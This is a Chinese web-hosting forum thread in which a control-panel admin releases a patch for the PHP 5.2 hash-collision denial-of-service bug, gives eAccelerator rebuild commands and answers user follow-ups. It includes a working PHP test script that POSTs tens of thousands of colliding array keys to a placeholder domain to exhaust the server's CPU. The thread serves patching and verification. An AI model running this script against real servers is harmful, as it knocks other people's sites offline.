无标题文档
WDCDN联

盟内部测试火热进行中
wdCP系统 (介绍,功能特性,运行环境,安装说明,演示,常见问题,使用教程) wdCDN系统 (介绍,功能特性,运行环境,安装说明,演示,常见问题,使用手册)
wdOS系统 (介绍,功能特性,运行环境,安装说明,演示,常见问题,使用教程) wdDNS系统 (介绍,功能特性,运行环境,安装说明,演示,常见问题,使用手册)
注册 发贴 提问 回复-必看必看 wddns免费智能 DNS 开通 本地或虚拟机使 用wdcp 一键包在mysql编 译时"卡住"
【300G高防】双线 无视攻击 wdcp官方技术支持/服务 阿里云8折优惠券 无敌云 腾讯云优惠中,现注册更有260代金额券赠送
返回列表 发帖
提问三步曲: 提问先看教程/FAQ索引(wdcp,wdcp_v3,一键包)及搜索,会让你更快解决问题
1 提供详细,如系统版本,wdcp版本,软件版本等及错误的详细信息,贴上论坛或截图发论坛
2 做过哪些操作或改动设置等

温馨提示:信息不详,很可能会没人理你!论坛有教程说明的,也可能没人理!因为,你懂的

[发布] PHP5.2.*防止Hash冲突拒绝服务攻击升级脚本

ssh登录终端,执行如下


完成后就可以


已修正
之前升级的,如果出现 EA无法使用,可执行如下再编译下EA就可以
cd /tmp
wget -c http://dl.wdlinux.cn:5180/soft/eaccelerator-0.9.5.3.tar.bz2
tar jxvf eaccelerator-0.9.5.3.tar.bz2
cd eaccelerator-0.9.5.3
./configure --enable-eaccelerator=shared --with-eaccelerator-shared-memory --with-php-config=/www/wdlinux/php/bin/php-config
make
make install


此脚本只对wdlinux,一键包及wdcp的默认安装有效,如不是wdlinux的安装包或有修改目录的,可做相应的修改编译
或下载php手工编译


此BUG据说可以让CPU100%从而达到拒绝服务,但我在几个机器上测试,似乎没有这个问题
这里附上测试程序
  1. <?php
  2. $size = pow(2, 16);
  3. $array = array();
  4. $ch = curl_init();
  5. curl_setopt($ch, CURLOPT_URL, "http://www.xxx.com/index.php");
  6. for ($key = 0, $maxKey = ($size - 1) * $size; $key <= $maxKey; $key += $size) {
  7.         #$array[$key] = 0;
  8.         $argument.="a[".$key."]=0&";
  9. }
  10. curl_setopt($ch, CURLOPT_POST, true);
  11. curl_setopt($ch, CURLOPT_POSTFIELDS, $argument."1=1");
  12. curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
  13. curl_setopt($ch, CURLOPT_TIMEOUT, '0');
  14. curl_setopt($ch, CURLOPT_USERAGENT, 'API REQUEST(CURL)');

  15. $return['result'] = curl_exec($ch);
  16. $return['code'] = curl_getinfo($ch, CURLINFO_HTTP_CODE);
  17. curl_close($ch);
  18. ?>
复制代码

另一个攻击测试脚本 http://blog.csdn.net/linvo/article/details/7169718

把上面的www.xxx.com 替换为相关的域名即可
把上面的PHP代码保存为当前文件如t.php
/www/wdlinux/wdphp/bin/php t.php
就可以看到效果,如果有问题,CPU就会达100%
看清提问三步曲及多看教程/FAQ索引(wdcp,v3,一键包,wdOS),益处多多.wdcp工具集 阿里云主机8折优惠码

太感谢了~正愁着尝试网上的方法都不行~老大就出了脚本

TOP

This build of "eAccelerator" was compiled for PHP version 5.2.17. Rebuild it for your PHP version (5.2.17-p1) or download precompiled binaries.

TOP

ssh登录终端,执行如下

wget
sh php-52_1130.sh.txt

完成后就可以


此脚本只对wdlinux,一键包 ...
admin 发表于 2012-1-4 13:03



    弄好以后  eAccelerator 不能用了

TOP

已修正
之前升级的,可执行如下再编译下EA就可以
cd /tmp
wget -c http://dl.wdlinux.cn:5180/soft/eaccelerator-0.9.5.3.tar.bz2
tar jxvf eaccelerator-0.9.5.3.tar.bz2
cd eaccelerator-0.9.5.3
./configure --enable-eaccelerator=shared --with-eaccelerator-shared-memory --with-php-config=/www/wdlinux/php/bin/php-config
make
make install
看清提问三步曲及多看教程/FAQ索引(wdcp,v3,一键包,wdOS),益处多多.wdcp工具集 阿里云主机8折优惠码

TOP

已修正
之前升级的,可执行如下再编译下EA就可以
cd /tmp
wget -c
tar jxvf eaccelerator-0.9.5.3.tar ...
admin 发表于 2012-1-9 12:35



    老大的效率 太高了 谢谢

TOP

是前两天修改过的,你应该是早几天升的吧
看清提问三步曲及多看教程/FAQ索引(wdcp,v3,一键包,wdOS),益处多多.wdcp工具集 阿里云主机8折优惠码

TOP

是前两天修改过的,你应该是早几天升的吧
admin 发表于 2012-1-9 14:35



   上周六 测试 出现 的问题

TOP

这个很给力的说 我就说 怎么网站打开报错了呢
ssh上去top一看,我靠mysql占用内存都120%了。。。。
果断下补丁 几分钟搞定
http://goo.gl/l6Lxb

TOP

加上memcache扩展再编译下
看清提问三步曲及多看教程/FAQ索引(wdcp,v3,一键包,wdOS),益处多多.wdcp工具集 阿里云主机8折优惠码

TOP

wdcp_v2.1.2 是不是已经打了补丁,不需要单独再大本文这个补丁?

TOP

在此之后的不用
看清提问三步曲及多看教程/FAQ索引(wdcp,v3,一键包,wdOS),益处多多.wdcp工具集 阿里云主机8折优惠码

TOP

天天CPU百分百的路过。
怎样活呢?

TOP

学习 了,支持老大
http://www.ladyyu.com

TOP

请问老大,8月21的要不要再弄下这个

TOP

返回列表